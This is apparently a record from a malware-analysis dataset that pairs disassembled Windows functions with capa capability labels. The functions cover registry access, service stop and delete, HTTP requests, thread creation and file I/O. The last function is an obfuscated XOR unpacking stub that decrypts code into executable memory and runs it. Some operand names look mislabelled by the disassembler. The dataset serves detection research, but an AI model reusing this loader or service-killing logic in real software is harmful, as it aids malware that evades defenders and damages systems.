joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001aa30
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
lea eax, [esp]
push eax
push 0x20019
push 0
push 0x10004c48
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1001aa5b
xor eax, eax
add esp, 0xc
ret 4
mov edx, dword [esp + 0x10]
lea ecx, [esp + 4]
push ecx
mov ecx, dword [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
push 0
push 0x10004c40
push ecx
mov dword [esp + 0x1c], 0x104
mov dword [esp + 0x20], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add esp, 0xc
ret 4

Function at 0x1001aab0
Capabilities:
Set registry value

Disassembly:
sub esp, 8
lea eax, [esp + 4]
lea ecx, [esp]
push eax
push ecx
push 0
push 0x20006
push 0
push 0
push 0
push 0x10004c58
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1001ab1d
mov ecx, dword [esp + 0xc]
cmp byte [ecx], 0
je 0x1001aaf0
mov dl, byte [eax + ecx + 1]
inc eax
test dl, dl
jne 0x1001aae7
mov edx, dword [esp]
inc eax
push eax
push ecx
push 1
push 0
push 0x10004c40
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esp, 8
ret 4

Function at 0x1001ab30
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
lea eax, [esp]
push eax
push 0x20019
push 0
push 0x10004c58
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1001ab5b
xor eax, eax
add esp, 0xc
ret 4
mov edx, dword [esp + 0x10]
lea ecx, [esp + 4]
push ecx
mov ecx, dword [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
push 0
push 0x10004c40
push ecx
mov dword [esp + 0x1c], 0x104
mov dword [esp + 0x20], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add esp, 0xc
ret 4
Function at 0x1001ac70
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
lea eax, [esp]
push ebx
push esi
push edi
push eax
push 0x2001f
push 0
push 0x10004c0c
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1001aca1
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0xc
ret 0x14
mov eax, dword [esp + 0x1c]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
mov ebx, 0x104
mov edi, 1
je 0x1001acf4
lea ecx, [esp + 0x10]
lea edx, [esp + 0x14]
push ecx
push eax
mov eax, dword [esp + 0x14]
push edx
push 0
push 0x10004be4
push eax
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], edi
call esi
test eax, eax
je 0x1001acf4
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0xc
ret 0x14
mov eax, dword [esp + 0x20]
test eax, eax
je 0x1001ad37
mov ecx, dword [esp + 0xc]
lea edx, [esp + 0x10]
push edx
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x18], ebx
push eax
push 0
push 0x10004bdc
push ecx
mov dword [esp + 0x2c], edi
call esi
test eax, eax
je 0x1001ad37
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0xc
ret 0x14
mov eax, dword [esp + 0x24]
test eax, eax
je 0x1001ad7a
lea ecx, [esp + 0x10]
lea edx, [esp + 0x14]
push ecx
push eax
mov eax, dword [esp + 0x14]
push edx
push 0
push 0x10004c74
push eax
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], edi
call esi
test eax, eax
je 0x1001ad7a
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0xc
ret 0x14
mov eax, dword [esp + 0x28]
test eax, eax
je 0x1001adbd
mov ecx, dword [esp + 0xc]
lea edx, [esp + 0x10]
push edx
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x18], ebx
push eax
push 0
push 0x10004c6c
push ecx
mov dword [esp + 0x2c], edi
call esi
test eax, eax
je 0x1001adbd
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0xc
ret 0x14
mov eax, dword [esp + 0x2c]
test eax, eax
je 0x1001ae00
lea ecx, [esp + 0x10]
lea edx, [esp + 0x14]
push ecx
push eax
mov eax, dword [esp + 0x14]
push edx
push 0
push 0x10004c64
push eax
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], edi
call esi
test eax, eax
je 0x1001ae00
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0xc
ret 0x14
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 0xc
ret 0x14
Function at 0x1001aea0
Capabilities:
Delete service
Stop service

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
mov ebx, dword [esp + 0x30]
push 0xf01ff
push ebx
push esi
call ebp
mov edi, eax
test edi, edi
je 0x1001aee6
lea eax, [esp + 0x10]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0xf01ff
push ebx
push esi
call ebp
mov edi, eax
test edi, edi
je 0x1001af03
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x1c
ret 4

Function at 0x1001b1b0
Capabilities:
Check http status code
Create http request

Disassembly:
sub esp, 8
push esi
push edi
push 0
push 0
push 0
push 4
push 0x10004c94
mov dword [esp + 0x1c], 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
test esi, esi
je 0x1001b24b
mov eax, dword [esp + 0x14]
push 0
push 0x4000000
push 0
push 0
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
je 0x1001b23e
lea ecx, [esp + 0xc]
push 0
lea edx, [esp + 0xc]
push ecx
push edx
push 0x20000013
push edi
mov dword [esp + 0x20], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x1001b23b
mov eax, dword [esp + 8]
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp eax, 0x193
jne 0x1001b246
call edi
push esi
call edi
pop edi
mov eax, 1
pop esi
add esp, 8
ret 4
push edi
jmp 0x1001b240
push 0
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push esi
call edi
pop edi
xor eax, eax
pop esi
add esp, 8
ret 4
Function at 0x1001b770
Capabilities:
Set registry value

Disassembly:
sub esp, 8
lea eax, [esp]
push eax
push 0x2001f
push 0
push 0x10004dbc
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1001b7be
lea ecx, [esp + 4]
lea edx, [esp]
push ecx
push edx
push 0
push 0x2001f
push 0
push 0
push 0
push 0x10004dbc
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1001b7fe
mov edx, dword [esp + 0xc]
test edx, edx
je 0x1001b7e8
push edi
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 1
push eax
mov eax, dword [esp + 0x14]
push 0x10004db0
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esp, 8
ret 4

Function at 0x1001b810
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
lea eax, [esp]
push eax
push 0x2001f
push 0
push 0x10004dbc
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1001b83b
xor eax, eax
add esp, 0xc
ret 4
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1001b870
lea ecx, [esp + 4]
lea edx, [esp + 8]
push ecx
push eax
mov eax, dword [esp + 8]
push edx
push 0
push 0x10004db0
push eax
mov dword [esp + 0x1c], 0x104
mov dword [esp + 0x20], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add esp, 0xc
ret 4

Function at 0x1001b8c0
Capabilities:
Accept command line arguments
Create thread

Disassembly:
sub esp, 0x104
lea eax, [esp]
push ebx
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 4]
push 0x5c
push ecx
call fcn.100194f0
lea ebx, [eax + 1]
push 0x10004dfc
push ebx
call fcn.10019410
test eax, eax
je 0x1001b989
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
test esi, esi
je 0x1001b974
push 0x10004df0
push esi
call fcn.100220c0
add esp, 8
test eax, eax
je 0x1001b93d
mov edi, 0x10004dec
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x100340f8
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
jmp 0x1001b96f
push 0x10004de0
push esi
call fcn.100220c0
add esp, 8
test eax, eax
je 0x1001b974
mov edi, 0x10004ddc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x100340f8
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x100340f8]
pop edi
test al, al
pop esi
je 0x1001b989
push 0x100340f8
call fcn.1001b770
push 0x10004dcc
push ebx
call fcn.10019410
test eax, eax
pop ebx
je 0x1001b9bd
push 0
push 0
push 0
push 0x1001b9d0
push 0x400
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add esp, 0x104
ret
xor eax, eax
add esp, 0x104
ret
Function at 0x1001bd40
Capabilities:
Create thread

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push 0x100
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1001be09
mov eax, dword [esi + 0x2c]
mov ecx, dword [0x1003476c]
cmp eax, ecx
jne 0x1001be09
mov eax, dword [0x10004e10]
test eax, eax
je 0x1001be09
mov edx, dword [esi + 0x18]
or ecx, 0xffffffff
xor eax, eax
lea esi, [edx + 4]
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0x20
jae 0x1001be09
mov edi, esi
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1001be09
mov edi, esi
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x100342c8
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor ecx, ecx
mov cl, byte [edx + 0x40]
mov dword [0x100342e8], ecx
mov eax, dword [edx + 0x157c]
mov ecx, dword [edx + 0x1578]
push eax
push ecx
push 0x10004e60
push 0x100341e8
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0
push 0
push 0
push 0x1001c500
push 0x400
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10004e10], 0
pop edi
pop esi
ret 4

Function at 0x1001c680
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
mov edx, dword [esp + 8]
sub esp, 0x108
mov dword [0x100347f8], eax
lea eax, [esp + 4]
mov dword [0x100347f4], edx
push ebx
push 0x104
xor ebx, ebx
push eax
push ebx
mov dword [0x100347f0], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 8]
push 0x5c
push ecx
call fcn.100194f0
inc eax
push 0x10005834
push eax
call fcn.10019410
test eax, eax
je 0x1001c76a
lea edx, [esp + 8]
push edx
call fcn.1001a900
push 0x8007
mov dword [0x100355a8], ebx
mov dword [0x100355bc], ebx
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
cmp dword [0x100355cc], ebx
je 0x1001c70b
mov eax, 1
pop ebx
add esp, 0x108
ret 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [0x100355cc], eax
mov eax, dword [0x100355c4]
cmp eax, ebx
mov byte [0x10034e18], bl
mov byte [0x10034e98], bl
jne 0x1001c76a
push edi
mov ecx, 0x183
xor eax, eax
mov edi, 0x10034f18
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push eax
push ebx
push ebx
push 0x1001cdb0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
mov dword [0x100355c4], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, 1
pop ebx
add esp, 0x108
ret 0xc
xor eax, eax
pop ebx
add esp, 0x108
ret 0xc
Function at 0x1001ee10
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x104
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0x20
push eax
call fcn.100194c0
test eax, eax
je 0x1001ee75
lea edi, [eax + 1]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 8]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
dec ecx
js 0x1001ee75
mov al, byte [esp + ecx + 8]
cmp al, 0x30
jl 0x1001ee6b
cmp al, 0x39
jle 0x1001ee70
dec ecx
jns 0x1001ee5f
jmp 0x1001ee75
mov byte [esp + ecx + 9], 0
xor edi, edi
mov esi, 0x10004ed0
lea ecx, [esp + 8]
push esi
push ecx
call fcn.10019410
test eax, eax
jne 0x1001eea7
add esi, 0x30
inc edi
cmp esi, 0x10005800
jb 0x1001ee7c
pop edi
mov eax, 1
pop esi
add esp, 0x104
ret 8
lea edi, [edi + edi*2]
or ecx, 0xffffffff
shl edi, 4
add edi, 0x10004ee0
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, 1
mov edx, ecx
mov esi, edi
mov edi, dword [esp + 0x110]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
add esp, 0x104
ret 8

Function at 0x1001eef0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x104
mov dword [0x10035918], eax
xor eax, eax
push esi
mov esi, ecx
mov ecx, dword [esp + 0x110]
mov dword [0x100358fc], esi
mov dword [0x10035914], ecx
mov dl, byte [eax + 0x100058b8]
xor dl, 0x88
mov byte [eax + 0x10035900], dl
inc eax
cmp eax, 0x14
jb 0x1001ef17
lea eax, [esp + 4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 4]
push 0x5c
push ecx
call fcn.100194f0
inc eax
push 0x10035900
push eax
call fcn.10019410
test eax, eax
je 0x1001efd6
lea edx, [esp + 4]
push edx
call fcn.1001a900
mov eax, dword [0x10035ec4]
test eax, eax
je 0x1001ef7c
mov eax, 1
pop esi
add esp, 0x104
ret 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, esi
mov dword [0x10035ec4], eax
call fcn.1001f500
test eax, eax
je 0x1001efd6
mov eax, dword [0x100058cc]
test eax, eax
je 0x1001efc7
push 0x28c
push 0
push 0x10035670
mov dword [0x100058cc], 0
mov dword [0x10035e7c], 0
call fcn.100195a0
mov ecx, esi
call fcn.1001f3b0
mov eax, 1
pop esi
add esp, 0x104
ret 0xc
xor eax, eax
pop esi
add esp, 0x104
ret 0xc
Function at 0x1001fb30
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x224
push ebp
push edi
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x2d]
mov byte [esp + 0x2c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 7
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x1400
stosb byte es:[edi], al
call fcn.100193b0
mov ebp, eax
test ebp, ebp
jne 0x1001fb7d
pop edi
pop ebp
add esp, 0x224
ret 8
push esi
lea eax, [esp + 0x30]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x30]
push 0x5c
push ecx
call fcn.100194f0
mov byte [eax], 0
mov edi, 0x10005950
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x30]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
push 0x80
mov ecx, edx
push 3
push eax
and ecx, 3
push 3
lea eax, [esp + 0x44]
push SysReAllocStringLen
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1001fcbf
lea ecx, [esp + 0xc]
push 0
push ecx
push 0x1400
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x10005944
push ebp
call fcn.100195e0
test eax, eax
je 0x1001fc60
push 0x22
push eax
call fcn.100194c0
mov edi, eax
test edi, edi
je 0x1001fc60
lea esi, [edi + 1]
push 0x2e
push esi
call fcn.100194c0
test eax, eax
je 0x1001fc60
mov ecx, eax
lea eax, [esp + 0x10]
sub ecx, edi
lea edi, [esp + 0x10]
dec ecx
push 0x10035670
mov edx, ecx
push eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.10019b00
mov ecx, 8
xor eax, eax
lea edi, [esp + 0x10]
push 0x10005938
rep stosd dword es:[edi], eax
push ebp
call fcn.100195e0
test eax, eax
je 0x1001fcbf
push 0x22
push eax
call fcn.100194c0
mov edi, eax
test edi, edi
je 0x1001fcbf
lea esi, [edi + 1]
push 0x22
push esi
call fcn.100194c0
test eax, eax
je 0x1001fcbf
mov ecx, eax
lea eax, [esp + 0x10]
sub ecx, edi
lea edi, [esp + 0x10]
dec ecx
push 0x10035690
mov edx, ecx
push eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.10019b00
push ebp
call fcn.100193d0
pop esi
pop edi
mov eax, 1
pop ebp
add esp, 0x224
ret 8
Function at 0x1001fde0
Capabilities:
Create thread

Disassembly:
sub esp, 0x40
push esi
push edi
mov ecx, 0xf
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
mov esi, dword [esp + 0x4c]
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
push esi
call edi
test eax, eax
jne 0x1001ff19
mov eax, dword [esi + 4]
push 0x40
push eax
call edi
test eax, eax
jne 0x1001ff19
cmp dword [esi + 0x10], 0xf
jne 0x1001ff19
mov esi, dword [esi + 0xc]
push 0x40
push esi
call edi
test eax, eax
jne 0x1001ff19
push 0x10005974
push esi
call fcn.100220c0
add esp, 8
cmp eax, esi
jne 0x1001ff19
mov edi, 0x10005974
or ecx, 0xffffffff
xor eax, eax
push 4
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0xc]
add ecx, esi
push ecx
push eax
call fcn.100226c0
add esp, 0xc
lea ecx, [esp + 8]
push ecx
call fcn.100193f0
test eax, eax
je 0x1001ff19
xor edx, edx
test eax, eax
jle 0x1001fea1
mov cl, byte [esp + edx + 8]
cmp cl, 0x30
jl 0x1001ff19
cmp cl, 0x39
jg 0x1001ff19
inc edx
cmp edx, eax
jl 0x1001fe8a
push ebx
lea esi, [esp + 0xc]
mov eax, 0x10036338
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x1001fed3
test cl, cl
je 0x1001fecf
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x1001fed3
add eax, 2
add esi, 2
test cl, cl
jne 0x1001feab
xor eax, eax
jmp 0x1001fed8
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
pop ebx
je 0x1001ff19
lea edi, [esp + 8]
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, 0x10036338
push 0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0x1001ffb0
and ecx, 3
push 0x400
rep movsb byte es:[edi], byte [esi]
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
add esp, 0x40
ret 4
Function at 0x100250d5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x10005e38
cmp edx, dword [eax]
je 0x100250f7
add eax, 8
inc ecx
cmp eax, 0x10005ec8
jl 0x100250e8
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x10005e38]
jne 0x10025225
mov eax, dword [0x100368ec]
cmp eax, 1
je 0x100251ff
test eax, eax
jne 0x10025128
cmp dword [0x100368f0], 1
je 0x100251ff
cmp edx, 0xfc
je 0x10025225
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1002515f
lea eax, [ebp - 0x1a4]
push 0x10008b28
push eax
call fcn.10027850
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.10026e20
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x100251a2
lea eax, [ebp - 0x1a4]
push eax
call fcn.10026e20
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x10008b24
push edi
call fcn.100226c0
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x10008b08
push eax
call fcn.10027850
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.10027860
lea eax, [ebp - 0xa0]
push 0x10008b04
push eax
call fcn.10027860
push dword [esi + 0x10005e3c]
lea eax, [ebp - 0xa0]
push eax
call fcn.10027860
push 0x12010
lea eax, [ebp - 0xa0]
push 0x10008adc
push eax
call fcn.10027d20
add esp, 0x2c
pop edi
jmp 0x10025225
lea eax, [ebp + 8]
lea esi, [esi + 0x10005e3c]
push 0
push eax
push dword [esi]
call fcn.10026e20
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d

Function at 0x407db7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x407dc6
pop dword [ebp - 0x28]
mov eax, 0x407dc6
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x1d674c01
sub dword [ebp - 0x38], 0xcf1506b6
mov dword [ebp - 0x34], 0xc7c508a3
add dword [ebp - 0x34], 0x6a6e43a2
mov dword [ebp - 0x30], 0x8a05610
sub dword [ebp - 0x30], 0xbc5411e2
mov dword [ebp - 0x2c], 0x43f76099
sub dword [ebp - 0x2c], 0x43f76099
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xa87ed5ff
add dword [ebp - 0x38], 0xcbf39357
mov dword [ebp - 0x34], 0x5282697b
sub dword [ebp - 0x34], 0x11160806
mov dword [ebp - 0x30], 0xe85b7d21
sub dword [ebp - 0x30], 0x84ec10b5
mov dword [ebp - 0x2c], 0xd5eb85f2
sub dword [ebp - 0x2c], 0xd5eb85f2
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0xdfad054d
add eax, 0x2093cafb
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3bf89
push 0
call eax
mov ecx, 0x48f02f14
sub ecx, 0x48efdd00
xor edi, edi
add edi, eax
mov esi, 0x41b000
add esi, dword [ebp - 0x28]
mov ebx, 0x3bc57ec5
xor dword [ebp - 0x10], edx
mov edx, dword [esi]
xor dword [ebp - 0xc], edx
xor edx, ebx
sub dword [ebp - 0x1c], edx
mov dword [edi], edx
xor dword [ebp - 4], esi
add edi, 4
add esi, 4
loop 0x407ed4
add eax, 0x31c92058
sub eax, 0x31c7e535
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret